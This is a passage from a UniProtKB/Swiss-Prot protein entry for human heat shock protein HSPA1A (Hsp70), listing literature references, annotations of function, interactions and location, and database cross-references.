RA Musashino K., Yuuki H., Oshima A., Sasaki N., Aotsuka S.,
RA Yoshikawa Y., Matsunawa H., Ichihara T., Shiohata N., Sano S.,
RA Moriya S., Momiyama H., Satoh N., Takami S., Terashima Y., Suzuki O.,
RA Nakagawa S., Senoh A., Mizoguchi H., Goto Y., Shimizu F., Wakebe H.,
RA Hishigaki H., Watanabe T., Sugiyama A., Takemoto M., Kawakami B.,
RA Yamazaki M., Watanabe K., Kumagai A., Itakura S., Fukuzumi Y.,
RA Fujimori Y., Komiyama M., Tashiro H., Tanigami A., Fujiwara T.,
RA Ono T., Yamada K., Fujii Y., Ozaki K., Hirao M., Ohmori Y.,
RA Kawabata A., Hikiji T., Kobatake N., Inagaki H., Ikema Y., Okamoto S.,
RA Okitani R., Kawakami T., Noguchi S., Itoh T., Shigeta K., Senba T.,
RA Matsumura K., Nakajima Y., Mizuno T., Morinaga M., Sasaki M.,
RA Togashi T., Oyama M., Hata H., Watanabe M., Komatsu T.,
RA Mizushima-Sugano J., Satoh T., Shirai Y., Takahashi Y., Nakagawa K.,
RA Okumura K., Nagase T., Nomura N., Kikuchi H., Masuho Y., Yamashita R.,
RA Nakai K., Yada T., Nakamura Y., Ohara O., Isogai T., Sugano S.;
RT "Complete sequencing and characterization of 21,243 full-length human
RT cDNAs.";
RL Nat. Genet. 36:40-45(2004).
RN [6]
RP NUCLEOTIDE SEQUENCE [GENOMIC DNA], ALTERNATIVE SPLICING (ISOFORM 1),
RP AND VARIANT ASP-110.
RG NIEHS SNPs program;
RL Submitted (FEB-2006) to the EMBL/GenBank/DDBJ databases.
RN [7]
RP NUCLEOTIDE SEQUENCE [LARGE SCALE GENOMIC DNA].
RX PubMed=14574404; DOI=10.1038/nature02055;
RA Mungall A.J., Palmer S.A., Sims S.K., Edwards C.A., Ashurst J.L.,
RA Wilming L., Jones M.C., Horton R., Hunt S.E., Scott C.E.,
RA Gilbert J.G.R., Clamp M.E., Bethel G., Milne S., Ainscough R.,
RA Almeida J.P., Ambrose K.D., Andrews T.D., Ashwell R.I.S.,
RA Babbage A.K., Bagguley C.L., Bailey J., Banerjee R., Barker D.J.,
RA Barlow K.F., Bates K., Beare D.M., Beasley H., Beasley O., Bird C.P.,
RA Blakey S.E., Bray-Allen S., Brook J., Brown A.J., Brown J.Y.,
RA Burford D.C., Burrill W., Burton J., Carder C., Carter N.P.,
RA Chapman J.C., Clark S.Y., Clark G., Clee C.M., Clegg S., Cobley V.,
RA Collier R.E., Collins J.E., Colman L.K., Corby N.R., Coville G.J.,
RA Culley K.M., Dhami P., Davies J., Dunn M., Earthrowl M.E.,
RA Ellington A.E., Evans K.A., Faulkner L., Francis M.D., Frankish A.,
RA Frankland J., French L., Garner P., Garnett J., Ghori M.J.,
RA Gilby L.M., Gillson C.J., Glithero R.J., Grafham D.V., Grant M.,
RA Gribble S., Griffiths C., Griffiths M.N.D., Hall R., Halls K.S.,
RA Hammond S., Harley J.L., Hart E.A., Heath P.D., Heathcott R.,
RA Holmes S.J., Howden P.J., Howe K.L., Howell G.R., Huckle E.,
RA Humphray S.J., Humphries M.D., Hunt A.R., Johnson C.M., Joy A.A.,
RA Kay M., Keenan S.J., Kimberley A.M., King A., Laird G.K., Langford C.,
RA Lawlor S., Leongamornlert D.A., Leversha M., Lloyd C.R., Lloyd D.M.,
RA Loveland J.E., Lovell J., Martin S., Mashreghi-Mohammadi M.,
RA Maslen G.L., Matthews L., McCann O.T., McLaren S.J., McLay K.,
RA McMurray A., Moore M.J.F., Mullikin J.C., Niblett D., Nickerson T.,
RA Novik K.L., Oliver K., Overton-Larty E.K., Parker A., Patel R.,
RA Pearce A.V., Peck A.I., Phillimore B.J.C.T., Phillips S., Plumb R.W.,
RA Porter K.M., Ramsey Y., Ranby S.A., Rice C.M., Ross M.T., Searle S.M.,
RA Sehra H.K., Sheridan E., Skuce C.D., Smith S., Smith M., Spraggon L.,
RA Squares S.L., Steward C.A., Sycamore N., Tamlyn-Hall G., Tester J.,
RA Theaker A.J., Thomas D.W., Thorpe A., Tracey A., Tromans A., Tubby B.,
RA Wall M., Wallis J.M., West A.P., White S.S., Whitehead S.L.,
RA Whittaker H., Wild A., Willey D.J., Wilmer T.E., Wood J.M., Wray P.W.,
RA Wyatt J.C., Young L., Younger R.M., Bentley D.R., Coulson A.,
RA Durbin R.M., Hubbard T., Sulston J.E., Dunham I., Rogers J., Beck S.;
RT "The DNA sequence and analysis of human chromosome 6.";
RL Nature 425:805-811(2003).
RN [8]
RP NUCLEOTIDE SEQUENCE [LARGE SCALE MRNA] (ISOFORM 1).
RC TISSUE=Brain, Muscle, Pancreas, PNS, and Skin;
RX PubMed=15489334; DOI=10.1101/gr.2596504;
RG The MGC Project Team;
RT "The status, quality, and expansion of the NIH full-length cDNA
RT project: the Mammalian Gene Collection (MGC).";
RL Genome Res. 14:2121-2127(2004).
RN [9]
RP NUCLEOTIDE SEQUENCE [GENOMIC DNA] OF 1-36.
RX PubMed=2538825; DOI=10.1073/pnas.86.6.1968;
RA Sargent C.A., Dunham I., Trowsdale J., Campbell R.D.;
RT "Human major histocompatibility complex contains genes for the major
RT heat shock protein HSP70.";
RL Proc. Natl. Acad. Sci. U.S.A. 86:1968-1972(1989).
RN [10]
RP NUCLEOTIDE SEQUENCE [GENOMIC DNA] OF 1-22 AND 617-641.
RX PubMed=3786141; DOI=10.1093/nar/14.22.8933;
RA Drabent B., Genthe A., Benecke B.-J.;
RT "In vitro transcription of a human hsp 70 heat shock gene by extracts
RT prepared from heat-shocked and non-heat-shocked human cells.";
RL Nucleic Acids Res. 14:8933-8948(1986).
RN [11]
RP PROTEIN SEQUENCE OF 4-49; 57-71; 77-155; 160-187; 221-247; 273-311;
RP 326-342; 349-357; 362-416; 424-447; 459-469; 510-517; 540-550; 574-595
RP AND 598-641, AND IDENTIFICATION BY MASS SPECTROMETRY.
RC TISSUE=Embryonic kidney;
RA Bienvenut W.V., Waridel P., Quadroni M.;
RL Submitted (MAR-2009) to UniProtKB.
RN [12]
RP PROTEIN SEQUENCE OF 37-49; 57-71; 78-88; 113-126; 160-187; 221-247;
RP 302-311; 329-342; 349-357; 362-384; 540-550 AND 574-589, AND
RP IDENTIFICATION BY MASS SPECTROMETRY.
RC TISSUE=Brain, Cajal-Retzius cell, and Fetal brain cortex;
RA Lubec G., Afjehi-Sadat L., Chen W.-Q., Sun Y.;
RL Submitted (DEC-2008) to UniProtKB.
RN [13]
RP PROTEIN SEQUENCE OF 551-567, METHYLATION AT LYS-561, MUTAGENESIS OF
RP LYS-561, AND IDENTIFICATION BY MASS SPECTROMETRY.
RX PubMed=23349634; DOI=10.1371/journal.pgen.1003210;
RA Cloutier P., Lavallee-Adam M., Faubert D., Blanchette M., Coulombe B.;
RT "A newly uncovered group of distantly related lysine
RT methyltransferases preferentially interact with molecular chaperones
RT to regulate their activity.";
RL PLoS Genet. 9:E1003210-E1003210(2013).
RN [14]
RP INTERACTION WITH TERT.
RX PubMed=11274138; DOI=10.1074/jbc.C100055200;
RA Forsythe H.L., Jarvis J.L., Turner J.W., Elmore L.W., Holt S.E.;
RT "Stable association of hsp90 and p23, but Not hsp70, with active human
RT telomerase.";
RL J. Biol. Chem. 276:15571-15574(2001).
RN [15]
RP INTERACTION WITH DNAJC7.
RX PubMed=12853476; DOI=10.1093/emboj/cdg362;
RA Brychzy A., Rein T., Winklhofer K.F., Hartl F.U., Young J.C.,
RA Obermann W.M.;
RT "Cofactor Tpr2 combines two TPR domains and a J domain to regulate the
RT Hsp70/Hsp90 chaperone system.";
RL EMBO J. 22:3613-3623(2003).
RN [16]
RP INTERACTION WITH TSC2, AND IDENTIFICATION BY MASS SPECTROMETRY.
RX PubMed=15963462; DOI=10.1016/j.bbrc.2005.05.175;
RA Nellist M., Burgers P.C., van den Ouweland A.M.W., Halley D.J.J.,
RA Luider T.M.;
RT "Phosphorylation and binding partner analysis of the TSC1-TSC2
RT complex.";
RL Biochem. Biophys. Res. Commun. 333:818-826(2005).
RN [17]
RP INTERACTION WITH PPP5C, AND IDENTIFICATION BY MASS SPECTROMETRY.
RX PubMed=15383005; DOI=10.1042/BJ20040690;
RA Zeke T., Morrice N., Vazquez-Martin C., Cohen P.T.;
RT "Human protein phosphatase 5 dissociates from heat-shock proteins and
RT is proteolytically activated in response to arachidonic acid and the
RT microtubule-depolymerizing drug nocodazole.";
RL Biochem. J. 385:45-56(2005).
RN [18]
RP IDENTIFICATION BY MASS SPECTROMETRY [LARGE SCALE ANALYSIS].
RC TISSUE=Cervix carcinoma;
RX PubMed=17081983; DOI=10.1016/j.cell.2006.09.026;
RA Olsen J.V., Blagoev B., Gnad F., Macek B., Kumar C., Mortensen P.,
RA Mann M.;
RT "Global, in vivo, and site-specific phosphorylation dynamics in
RT signaling networks.";
RL Cell 127:635-648(2006).
RN [19]
RP INTERACTION WITH IRAK1BP1, AND IDENTIFICATION BY MASS SPECTROMETRY.
RX PubMed=17233114; DOI=10.1089/dna.2006.25.704;
RA Haag Breese E., Uversky V.N., Georgiadis M.M., Harrington M.A.;
RT "The disordered amino-terminus of SIMPL interacts with members of the
RT 70-kDa heat-shock protein family.";
RL DNA Cell Biol. 25:704-714(2006).
RN [20]
RP FUNCTION AS A RECEPTOR FOR ROTAVIRUS A.
RX PubMed=16537599; DOI=10.1128/JVI.80.7.3322-3331.2006;
RA Perez-Vargas J., Romero P., Lopez S., Arias C.F.;
RT "The peptide-binding and ATPase domains of recombinant hsc70 are
RT required to interact with rotavirus and reduce its infectivity.";
RL J. Virol. 80:3322-3331(2006).
RN [21]
RP INTERACTION WITH DNAJC9.
RX PubMed=17182002; DOI=10.1016/j.bbrc.2006.12.013;
RA Han C., Chen T., Li N., Yang M., Wan T., Cao X.;
RT "HDJC9, a novel human type C DnaJ/HSP40 member interacts with and
RT cochaperones HSP70 through the J domain.";
RL Biochem. Biophys. Res. Commun. 353:280-285(2007).
RN [22]
RP IDENTIFICATION IN A MRNP GRANULE COMPLEX, IDENTIFICATION BY MASS
RP SPECTROMETRY, AND SUBCELLULAR LOCATION.
RX PubMed=17289661; DOI=10.1074/mcp.M600346-MCP200;
RA Joeson L., Vikesaa J., Krogh A., Nielsen L.K., Hansen T., Borup R.,
RA Johnsen A.H., Christiansen J., Nielsen F.C.;
RT "Molecular composition of IMP1 ribonucleoprotein granules.";
RL Mol. Cell. Proteomics 6:798-811(2007).
RN [23]
RP INTERACTION WITH DNAJC7.
RX PubMed=18620420; DOI=10.1021/bi800770g;
RA Moffatt N.S., Bruinsma E., Uhl C., Obermann W.M., Toft D.;
RT "Role of the cochaperone Tpr2 in Hsp90 chaperoning.";
RL Biochemistry 47:8203-8213(2008).
RN [24]
RP IDENTIFICATION BY MASS SPECTROMETRY [LARGE SCALE ANALYSIS].
RC TISSUE=Cervix carcinoma;
RX PubMed=18691976; DOI=10.1016/j.molcel.2008.07.007;
RA Daub H., Olsen J.V., Bairlein M., Gnad F., Oppermann F.S., Korner R.,
RA Greff Z., Keri G., Stemmann O., Mann M.;
RT "Kinase-selective enrichment enables quantitative phosphoproteomics of
RT the kinome across the cell cycle.";
RL Mol. Cell 31:438-448(2008).
RN [25]
RP ACETYLATION [LARGE SCALE ANALYSIS] AT ALA-2, CLEAVAGE OF INITIATOR
RP METHIONINE [LARGE SCALE ANALYSIS], AND IDENTIFICATION BY MASS
RP SPECTROMETRY [LARGE SCALE ANALYSIS].
RX PubMed=19413330; DOI=10.1021/ac9004309;
RA Gauci S., Helbig A.O., Slijper M., Krijgsveld J., Heck A.J.,
RA Mohammed S.;
RT "Lys-N and trypsin cover complementary parts of the phosphoproteome in
RT a refined SCX-based approach.";
RL Anal. Chem. 81:4493-4501(2009).
RN [26]
RP ACETYLATION [LARGE SCALE ANALYSIS] AT LYS-108; LYS-246 AND LYS-348,
RP AND IDENTIFICATION BY MASS SPECTROMETRY [LARGE SCALE ANALYSIS].
RX PubMed=19608861; DOI=10.1126/science.1175371;
RA Choudhary C., Kumar C., Gnad F., Nielsen M.L., Rehman M.,
RA Walther T.C., Olsen J.V., Mann M.;
RT "Lysine acetylation targets protein complexes and co-regulates major
RT cellular functions.";
RL Science 325:834-840(2009).
RN [27]
RP INTERACTION WITH TRIM5.
RX PubMed=20053985; DOI=10.1074/jbc.M109.040618;
RA Hwang C.Y., Holl J., Rajan D., Lee Y., Kim S., Um M., Kwon K.S.,
RA Song B.;
RT "Hsp70 interacts with the retroviral restriction factor TRIM5alpha and
RT assists the folding of TRIM5alpha.";
RL J. Biol. Chem. 285:7827-7837(2010).
RN [28]
RP PHOSPHORYLATION [LARGE SCALE ANALYSIS] AT SER-631; SER-633 AND
RP THR-636, AND IDENTIFICATION BY MASS SPECTROMETRY [LARGE SCALE
RP ANALYSIS].
RC TISSUE=Cervix carcinoma;
RX PubMed=20068231; DOI=10.1126/scisignal.2000475;
RA Olsen J.V., Vermeulen M., Santamaria A., Kumar C., Miller M.L.,
RA Jensen L.J., Gnad F., Cox J., Jensen T.S., Nigg E.A., Brunak S.,
RA Mann M.;
RT "Quantitative phosphoproteomics reveals widespread full
RT phosphorylation site occupancy during mitosis.";
RL Sci. Signal. 3:RA3-RA3(2010).
RN [29]
RP IDENTIFICATION BY MASS SPECTROMETRY [LARGE SCALE ANALYSIS].
RX PubMed=21269460; DOI=10.1186/1752-0509-5-17;
RA Burkard T.R., Planyavsky M., Kaupe I., Breitwieser F.P.,
RA Buerckstuemmer T., Bennett K.L., Superti-Furga G., Colinge J.;
RT "Initial characterization of the human central proteome.";
RL BMC Syst. Biol. 5:17-17(2011).
RN [30]
RP INTERACTION WITH CHCHD3.
RX PubMed=21081504; DOI=10.1074/jbc.M110.171975;
RA Darshi M., Mendiola V.L., Mackey M.R., Murphy A.N., Koller A.,
RA Perkins G.A., Ellisman M.H., Taylor S.S.;
RT "ChChd3, an inner mitochondrial membrane protein, is essential for
RT maintaining crista integrity and mitochondrial function.";
RL J. Biol. Chem. 286:2918-2932(2011).
RN [31]
RP FUNCTION, AND INTERACTION WITH ATF5.
RX PubMed=22528486; DOI=10.1074/jbc.M112.363622;
RA Liu X., Liu D., Qian D., Dai J., An Y., Jiang S., Stanley B., Yang J.,
RA Wang B., Liu X., Liu D.X.;
RT "Nucleophosmin (NPM1/B23) interacts with activating transcription
RT factor 5 (ATF5) protein and promotes proteasome- and caspase-dependent
RT ATF5 degradation in hepatocellular carcinoma cells.";
RL J. Biol. Chem. 287:19599-19609(2012).
RN [32]
RP IDENTIFICATION BY MASS SPECTROMETRY [LARGE SCALE ANALYSIS].
RX PubMed=22905912; DOI=10.1021/pr300539b;
RA Rosenow A., Noben J.P., Jocken J., Kallendrusch S.,
RA Fischer-Posovszky P., Mariman E.C., Renes J.;
RT "Resveratrol-induced changes of the human adipocyte secretion
RT profile.";
RL J. Proteome Res. 11:4733-4743(2012).
RN [33]
RP IDENTIFICATION BY MASS SPECTROMETRY, FUNCTION, AND INTERACTION WITH
RP FOXP3.
RX PubMed=23973223; DOI=10.1016/j.immuni.2013.08.006;
RA Chen Z., Barbi J., Bu S., Yang H.Y., Li Z., Gao Y., Jinasena D.,
RA Fu J., Lin F., Chen C., Zhang J., Yu N., Li X., Shan Z., Nie J.,
RA Gao Z., Tian H., Li Y., Yao Z., Zheng Y., Park B.V., Pan Z., Zhang J.,
RA Dang E., Li Z., Wang H., Luo W., Li L., Semenza G.L., Zheng S.G.,
RA Loser K., Tsun A., Greene M.I., Pardoll D.M., Pan F., Li B.;
RT "The ubiquitin ligase Stub1 negatively modulates regulatory T cell
RT suppressive activity by promoting degradation of the transcription
RT factor Foxp3.";
RL Immunity 39:272-285(2013).
RN [34]
RP METHYLATION AT LYS-561, MUTAGENESIS OF LYS-561, AND INTERACTION WITH
RP METTL21A.
RX PubMed=23921388; DOI=10.1074/jbc.M113.483248;
RA Jakobsson M.E., Moen A., Bousset L., Egge-Jacobsen W., Kernstock S.,
RA Melki R., Falnes P.O.;
RT "Identification and characterization of a novel human
RT methyltransferase modulating Hsp70 function through lysine
RT methylation.";
RL J. Biol. Chem. 288:27752-27763(2013).
RN [35]
RP IDENTIFICATION BY MASS SPECTROMETRY [LARGE SCALE ANALYSIS].
RC TISSUE=Cervix carcinoma, and Erythroleukemia;
RX PubMed=23186163; DOI=10.1021/pr300630k;
RA Zhou H., Di Palma S., Preisinger C., Peng M., Polat A.N., Heck A.J.,
RA Mohammed S.;
RT "Toward a comprehensive characterization of a human cancer cell
RT phosphoproteome.";
RL J. Proteome Res. 12:260-271(2013).
RN [36]
RP INTERACTION WITH PARK2.
RX PubMed=24270810; DOI=10.1038/nature12748;
RA Hasson S.A., Kane L.A., Yamano K., Huang C.H., Sliter D.A.,
RA Buehler E., Wang C., Heman-Ackah S.M., Hessa T., Guha R., Martin S.E.,
RA Youle R.J.;
RT "High-content genome-wide RNAi screens identify regulators of parkin
RT upstream of mitophagy.";
RL Nature 504:291-295(2013).
RN [37]
RP INTERACTION WITH NOD2.
RX PubMed=24790089; DOI=10.1074/jbc.M114.557686;
RA Mohanan V., Grimes C.L.;
RT "The molecular chaperone HSP70 binds to and stabilizes NOD2, an
RT important protein involved in Crohn disease.";
RL J. Biol. Chem. 289:18987-18998(2014).
RN [38]
RP INTERACTION WITH RNF207.
RX PubMed=25281747; DOI=10.1074/jbc.M114.592295;
RA Roder K., Werdich A.A., Li W., Liu M., Kim T.Y., Organ-Darling L.E.,
RA Moshal K.S., Hwang J.M., Lu Y., Choi B.R., MacRae C.A., Koren G.;
RT "RING finger protein RNF207, a novel regulator of cardiac
RT excitation.";
RL J. Biol. Chem. 289:33730-33740(2014).
RN [39]
RP IDENTIFICATION BY MASS SPECTROMETRY [LARGE SCALE ANALYSIS].
RC TISSUE=Liver;
RX PubMed=24275569; DOI=10.1016/j.jprot.2013.11.014;
RA Bian Y., Song C., Cheng K., Dong M., Wang F., Huang J., Sun D.,
RA Wang L., Ye M., Zou H.;
RT "An enzyme assisted RP-RPLC approach for in-depth analysis of human
RT liver phosphoproteome.";
RL J. Proteomics 96:253-262(2014).
RN [40]
RP IDENTIFICATION BY MASS SPECTROMETRY [LARGE SCALE ANALYSIS].
RX PubMed=25944712; DOI=10.1002/pmic.201400617;
RA Vaca Jacome A.S., Rabilloud T., Schaeffer-Reiss C., Rompais M.,
RA Ayoub D., Lane L., Bairoch A., Van Dorsselaer A., Carapito C.;
RT "N-terminome analysis of the human mitochondrial proteome.";
RL Proteomics 15:2519-2524(2015).
RN [41]
RP X-RAY CRYSTALLOGRAPHY (2.3 ANGSTROMS) OF 1-382 IN COMPLEX WITH ADP,
RP AND ATP-BINDING.
RX PubMed=10216320; DOI=10.1107/S0907444999002103;
RA Osipiuk J., Walsh M.A., Freeman B.C., Morimoto R.I., Joachimiak A.;
RT "Structure of a new crystal form of human hsp70 ATPase domain.";
RL Acta Crystallogr. D 55:1105-1107(1999).
RN [42]
RP X-RAY CRYSTALLOGRAPHY (1.77 ANGSTROMS) OF 389-641 IN COMPLEX WITH ATP
RP ANALOG, AND ATP-BINDING.
RX PubMed=20179333; DOI=10.1107/S0907444909053979;
RA Shida M., Arakawa A., Ishii R., Kishishita S., Takagi T.,
RA Kukimoto-Niino M., Sugano S., Tanaka A., Shirouzu M., Yokoyama S.;
RT "Direct inter-subdomain interactions switch between the closed and
RT open forms of the Hsp70 nucleotide-binding domain in the nucleotide-
RT free state.";
RL Acta Crystallogr. D 66:223-232(2010).
RN [43]
RP X-RAY CRYSTALLOGRAPHY (2.14 ANGSTROMS) OF 1-387 IN COMPLEX WITH ADP,
RP AND ATP-BINDING.
RX PubMed=20072699; DOI=10.1371/journal.pone.0008625;
RA Wisniewska M., Karlberg T., Lehtio L., Johansson I., Kotenyova T.,
RA Moche M., Schuler H.;
RT "Crystal structures of the ATPase domains of four human Hsp70
RT isoforms: HSPA1L/Hsp70-hom, HSPA2/Hsp70-2, HSPA6/Hsp70B', and
RT HSPA5/BiP/GRP78.";
RL PLoS ONE 5:E8625-E8625(2010).
RN [44]
RP X-RAY CRYSTALLOGRAPHY (2.3 ANGSTROMS) OF 1-388 IN COMPLEX WITH BAG5.
RX PubMed=20223214; DOI=10.1016/j.str.2010.01.004;
RA Arakawa A., Handa N., Ohsawa N., Shida M., Kigawa T., Hayashi F.,
RA Shirouzu M., Yokoyama S.;
RT "The C-terminal BAG domain of BAG5 induces conformational changes of
RT the Hsp70 nucleotide-binding domain for ADP-ATP exchange.";
RL Structure 18:309-319(2010).
RN [45]
RP X-RAY CRYSTALLOGRAPHY (1.58 ANGSTROMS) OF 1-388, ATP-BINDING, AND
RP MUTAGENESIS OF ASP-10 AND ASP-199.
RX PubMed=21608060; DOI=10.1002/pro.663;
RA Arakawa A., Handa N., Shirouzu M., Yokoyama S.;
RT "Biochemical and structural studies on the high affinity of Hsp70 for
RT ADP.";
RL Protein Sci. 20:1367-1379(2011).
CC -!- FUNCTION: In cooperation with other chaperones, Hsp70s stabilize
CC preexistent proteins against aggregation and mediate the folding
CC of newly translated polypeptides in the cytosol as well as within
CC organelles. These chaperones participate in all these processes
CC through their ability to recognize nonnative conformations of
CC other proteins. They bind extended peptide segments with a net
CC hydrophobic character exposed by polypeptides during translation
CC and membrane translocation, or following stress-induced damage. In
CC case of rotavirus A infection, serves as a post-attachment
CC receptor for the virus to facilitate entry into the cell.
CC Essential for STUB1-mediated ubiquitination and degradation of
CC FOXP3 in regulatory T-cells (Treg) during inflammation
CC (PubMed:23973223). {ECO:0000269|PubMed:16537599,
CC ECO:0000269|PubMed:22528486, ECO:0000269|PubMed:23973223}.
CC -!- SUBUNIT: Component of the CatSper complex. Identified in a
CC IGF2BP1-dependent mRNP granule complex containing untranslated
CC mRNAs (PubMed:17289661). Interacts with CHCHD3, DNAJC7, IRAK1BP1,
CC PPP5C and TSC2 (PubMed:21081504, PubMed:12853476, PubMed:18620420,
CC PubMed:17233114, PubMed:15383005, PubMed:15963462). Interacts with
CC TERT; the interaction occurs in the absence of the RNA component,
CC TERC, and dissociates once the TERT complex has formed
CC (PubMed:11274138). Interacts with TRIM5 (via B30.2/SPRY domain)
CC (PubMed:20053985). Interacts with METTL21A (PubMed:23921388).
CC Interacts with DNAAF2 (By similarity). Interacts with PARK2
CC (PubMed:24270810). Interacts with FOXP3 (PubMed:23973223).
CC Interacts with NOD2; the interaction enhances NOD2 stability
CC (PubMed:24790089). Interacts with DNAJC9 (via J domain)
CC (PubMed:17182002). Interacts with ATF5; the interaction protects
CC ATF5 from degradation via proteasome-dependent and caspase-
CC dependent processes (PubMed:22528486). Interacts with RNF207 (via
CC the C-terminus); this interaction additively increases KCNH2
CC expression (PubMed:25281747). {ECO:0000250|UniProtKB:Q61696,
CC ECO:0000269|PubMed:10216320, ECO:0000269|PubMed:11274138,
CC ECO:0000269|PubMed:12853476, ECO:0000269|PubMed:15383005,
CC ECO:0000269|PubMed:15963462, ECO:0000269|PubMed:17182002,
CC ECO:0000269|PubMed:17233114, ECO:0000269|PubMed:17289661,
CC ECO:0000269|PubMed:18620420, ECO:0000269|PubMed:20053985,
CC ECO:0000269|PubMed:20072699, ECO:0000269|PubMed:20179333,
CC ECO:0000269|PubMed:20223214, ECO:0000269|PubMed:21081504,
CC ECO:0000269|PubMed:22528486, ECO:0000269|PubMed:23921388,
CC ECO:0000269|PubMed:23973223, ECO:0000269|PubMed:24270810,
CC ECO:0000269|PubMed:24790089, ECO:0000269|PubMed:25281747}.
CC -!- INTERACTION:
CC Q9NUX5:POT1; NbExp=2; IntAct=EBI-11052499, EBI-752420;
CC -!- SUBCELLULAR LOCATION: Cytoplasm {ECO:0000269|PubMed:17289661}.
CC Note=Localized in cytoplasmic mRNP granules containing
CC untranslated mRNAs.
CC -!- ALTERNATIVE PRODUCTS:
CC Event=Alternative splicing; Named isoforms=2;
CC Name=1;
CC IsoId=P0DMV8-1; Sequence=Displayed;
CC Name=2;
CC IsoId=P0DMV8-2; Sequence=VSP_044427;
CC -!- INDUCTION: By heat shock.
CC -!- SIMILARITY: Belongs to the heat shock protein 70 family.
CC {ECO:0000305}.
CC -!- WEB RESOURCE: Name=NIEHS-SNPs;
CC URL="http://egp.gs.washington.edu/data/hspa1a/";
CC -----------------------------------------------------------------------
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DR EMBL; M11717; AAA52697.1; -; Genomic_DNA.
DR EMBL; M59828; AAA63226.1; -; Genomic_DNA.
DR EMBL; BA000025; BAB63300.1; -; Genomic_DNA.
DR EMBL; AF134726; AAD21816.1; -; Genomic_DNA.
DR EMBL; AK304652; BAG65428.1; -; mRNA.
DR EMBL; DQ451402; ABD96830.1; -; Genomic_DNA.
DR EMBL; AL671762; -; NOT_ANNOTATED_CDS; Genomic_DNA.
DR EMBL; BC002453; AAH02453.1; -; mRNA.
DR EMBL; M24743; AAA59844.1; -; Genomic_DNA.
DR EMBL; X04676; CAA28381.1; -; Genomic_DNA.
DR EMBL; X04677; CAA28382.1; -; Genomic_DNA.
DR CCDS; CCDS34414.1; -. [P0DMV8-1]
DR PIR; A29160; A29160.
DR PIR; A45871; A45871.
DR PIR; I59139; I59139.
DR PIR; I79540; I79540.
DR RefSeq; NP_005336.3; NM_005345.5. [P0DMV8-1]
DR RefSeq; NP_005337.2; NM_005346.4. [P0DMV8-1]
DR UniGene; Hs.274402; -.
DR UniGene; Hs.702139; -.
DR UniGene; Hs.719966; -.
DR UniGene; Hs.743411; -.
DR PDB; 1HJO; X-ray; 2.30 A; A=3-382.
DR PDB; 1S3X; X-ray; 1.84 A; A=1-382.
DR PDB; 1XQS; X-ray; 2.90 A; C/D=184-371.
DR PDB; 2E88; X-ray; 1.80 A; A=1-388.
DR PDB; 2E8A; X-ray; 1.77 A; A=1-388.
DR PDB; 2LMG; NMR; -; A=537-610.
DR PDB; 3A8Y; X-ray; 2.30 A; A/B=1-388.
DR PDB; 3ATU; X-ray; 1.65 A; A=1-388.
DR PDB; 3ATV; X-ray; 1.58 A; A=1-388.
DR PDB; 3AY9; X-ray; 1.75 A; A=1-388.
DR PDB; 3D2E; X-ray; 2.35 A; B/D=1-382.
DR PDB; 3D2F; X-ray; 2.30 A; B/D=1-382.
DR PDB; 3JXU; X-ray; 2.14 A; A=1-387.
DR PDB; 3LOF; X-ray; 2.40 A; A/B/C/D/E/F=534-641.
DR PDB; 3Q49; X-ray; 1.54 A; C=634-641.
DR PDB; 4IO8; X-ray; 2.58 A; A=1-382.
DR PDB; 4J8F; X-ray; 2.70 A; A=1-382.
DR PDB; 4PO2; X-ray; 2.00 A; A/B=386-613.
DR PDB; 4WV5; X-ray; 2.04 A; A/B=395-543.
DR PDB; 4WV7; X-ray; 2.42 A; A/B=395-543.
DR PDB; 5AQZ; X-ray; 1.65 A; A=1-380.
DR PDB; 5AR0; X-ray; 1.90 A; A=1-380.
DR PDBsum; 1HJO; -.
DR PDBsum; 1S3X; -.
DR PDBsum; 1XQS; -.
DR PDBsum; 2E88; -.
DR PDBsum; 2E8A; -.
DR PDBsum; 2LMG; -.
DR PDBsum; 3A8Y; -.
DR PDBsum; 3ATU; -.
DR PDBsum; 3ATV; -.
DR PDBsum; 3AY9; -.
DR PDBsum; 3D2E; -.
DR PDBsum; 3D2F; -.
DR PDBsum; 3JXU; -.
DR PDBsum; 3LOF; -.
DR PDBsum; 3Q49; -.
DR PDBsum; 4IO8; -.
DR PDBsum; 4J8F; -.
DR PDBsum; 4PO2; -.
DR PDBsum; 4WV5; -.
DR PDBsum; 4WV7; -.
DR PDBsum; 5AQZ; -.
DR PDBsum; 5AR0; -.
DR ProteinModelPortal; P0DMV8; -.
DR SMR; P0DMV8; 1-613.
DR IntAct; P0DMV8; 14.
DR MINT; MINT-96699; -.
DR BindingDB; P0DMV8; -.
DR ChEMBL; CHEMBL5460; -.
DR iPTMnet; P0DMV8; -.
DR PhosphoSite; P0DMV8; -.
DR SwissPalm; P0DMV8; -.
DR DMDM; 147744565; -.
DR REPRODUCTION-2DPAGE; IPI00304925; -.
DR PeptideAtlas; P0DMV8; -.
DR DNASU; 3303; -.
DR Ensembl; ENST00000375651; ENSP00000364802; ENSG00000204389. [P0DMV8-1]
DR Ensembl; ENST00000400040; ENSP00000382915; ENSG00000215328.
DR Ensembl; ENST00000430065; ENSP00000404524; ENSG00000235941. [P0DMV8-1]
DR Ensembl; ENST00000433487; ENSP00000408907; ENSG00000234475. [P0DMV8-1]
DR Ensembl; ENST00000441618; ENSP00000406359; ENSG00000237724. [P0DMV8-1]
DR GeneID; 3303; -.
DR GeneID; 3304; -.
DR KEGG; hsa:3303; -.
DR KEGG; hsa:3304; -.
DR CTD; 3303; -.
DR CTD; 3304; -.
DR H-InvDB; HIX0058169; -.
DR H-InvDB; HIX0058187; -.
DR H-InvDB; HIX0166160; -.
DR HGNC; HGNC:5232; HSPA1A.
DR HPA; HPA052504; -.
DR MIM; 140550; gene.
DR MIM; 603012; gene.
DR neXtProt; NX_P0DMV8; -.
DR HOGENOM; HOG000228135; -.
DR HOVERGEN; HBG051845; -.
DR KO; K03283; -.
DR OrthoDB; EOG091G03SF; -.
DR PhylomeDB; P0DMV8; -.
DR TreeFam; TF105042; -.
DR Reactome; R-HSA-168330; Viral RNP Complexes in the Host Cell Nucleus.
DR Reactome; R-HSA-3371453; Regulation of HSF1-mediated heat shock response.
DR Reactome; R-HSA-3371568; Attenuation phase.
DR Reactome; R-HSA-3371571; HSF1-dependent transactivation.
DR Reactome; R-HSA-450408; AUF1 (hnRNP D0) binds and destabilizes mRNA.
DR ChiTaRS; HSPA1A; human.
DR ChiTaRS; HSPA1B; human.
DR GeneWiki; HSPA1A; -.
DR PRO; PR:P0DMV8; -.
DR Proteomes; UP000005640; Chromosome 6.
DR CleanEx; HS_HSPA1A; -.
DR ExpressionAtlas; P0DMV8; baseline and differential.
